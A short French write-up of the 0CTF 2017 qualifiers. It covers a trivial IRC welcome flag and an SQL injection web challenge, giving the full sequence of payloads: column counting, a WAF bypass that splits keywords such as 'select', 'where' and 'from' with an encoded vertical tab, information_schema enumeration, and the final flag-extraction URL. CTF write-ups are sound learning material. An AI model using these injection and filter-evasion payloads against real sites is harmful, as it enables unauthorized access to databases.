Micro-writeup pour le ctf 0CTF 2017 Quals

Un tout petit writeup car je n'ai eu qu'une heure pour faire les nombreux challenges de ce ctf, ce qui est fort dommage car les challenges étaient trés intéressants comme chaque année. Il y en avait pour tous les goûts : du web, du reverse de la crypto etc. J'ai donc eu le temps de valider 2 challenges, un qui est inutile et un challenge web.

1 : Welcome

Voila le genre de challenge que je trouve le plus inutile au monde mais qui permet de faire des points. Donc avoir 12 points était facile. Le but du challenge est juste de se connecter au chan IRC et dans le message d'accueil on trouve le flag. Petit message aux auteurs de CTF s'il vous plait arrêter avec ça 😀

2 : Simlesqlin

Enfin un challenge sérieux. Dans celui-ci on arrivait sur une page web ou est listé des "events". Pour chaque event il y a un lien pour en lire le détail. Avec le nom du challenge il est fort probable que l'attaque à réaliser soit une injection SQL via le paramètre id dans l'url. Dans un premier temps il faut voir si on peut connaître le nombre d'élément présent dans le select

?id=1 ORDER BY 4 => Retourne une erreur

?id=1 ORDER BY 3 => Affiche l'event

Avec le nombre d'élément dans le select on va pouvoir essayer de faire une union pour afficher autre chose que le titre, ici on va chercher le flag. Petite particularité il y a un waf plutôt vicieux qu'il faut bypasser. En effet les premières tentatives montrent que le waf nous détecte dès qu'il voit le mot clé "select". J'ai essayé en mixed-case rien ni fait que l'on fasse Select ou seLecT, le waf détecte l'injection et bloque la requête. Nouveaux essais cette fois avec ce genre de syntaxe : 

?id=-1 union/**/select/**/1,1,1

?id=-1(union)(select)1,1,1

?id=-1 union reserve(tceles) 1,1,1

Rien n'y fait l'union ne fonctionne pas et j'ai absolument besoin du select... Je pars donc chercher des bypass plus exotiques et je fini par trouver celui qui passe. Voici ce qui permet de bypasser le filtre du select : 

?id=-1 union sel%0Bect1,1,1

Une fois l'union possible qui affiche ce que l'on veut il suffit juste de trouver la bonne table via des requêtes sur la table information_schema.table, pour aller plus vite il suffit de restreindre sur la base de données active et pour en connaître le nom il suffit juste de ceci : 

?id=-1 union sel%0B 1,1,@@database => qui affiche news

Avec cette information on va demander la liste des tables de la base "news" avec la requête, vous remarquerez qu'il y avait aussi un filtre sur le WHERE

?id=-1union sel%0B 1,1,table_name FROM information_schema.tables WHE%0BRE table_schema="news"

Ceci nous donne la table "flag" du coup il n'y a pas vraiment de doute à avoir il ne manque plus cas trouver les champs qui composent la table "flag" pour cela rien de plus simple que la requête suivante : 

?id=-1 UNION ALL se%0Blect 2,4,column_name fro%0Bm information_schema.columns WHE%0BRE table_name="flag"

La requête retourne aussi le mot clé "flag" pour le nom de colonne... Pas très imaginatifs mais ça fonctionne et voici la dernière requête pour obtenir le flag, avec aussi un filtre sur le FROM

http://202.120.7.203/index.php?id=-1%20UNION%20ALL%20se%0Blect%202,4,flag%20fro%0Bm%20news.flag

Voila ce qu'affiche la requête on voit le flag et on valide : 

Conclusion

Le challenge d'injection était marrant et prenez vraiment très peu de temps, par contre les autres avaient un vrai niveau plus élevé et m'auraient demandé plus de temps que je n'avais. Pour rappel le CTF se déroulait sur deux jours complets, donc avec juste une heure il ne fallait pas n'ont plus m'attendre à des miracles. Résultat des courses je termine 344 eme avec 45 petits points sur 908 participants ayant marqué au moins 1 point.

Si vous souhaitez trouver quelques writeup : https://ctftime.org/event/402/tasks/ ou sinon directement sur Twitter : https://twitter.com/search?q=%230ctf&src=typd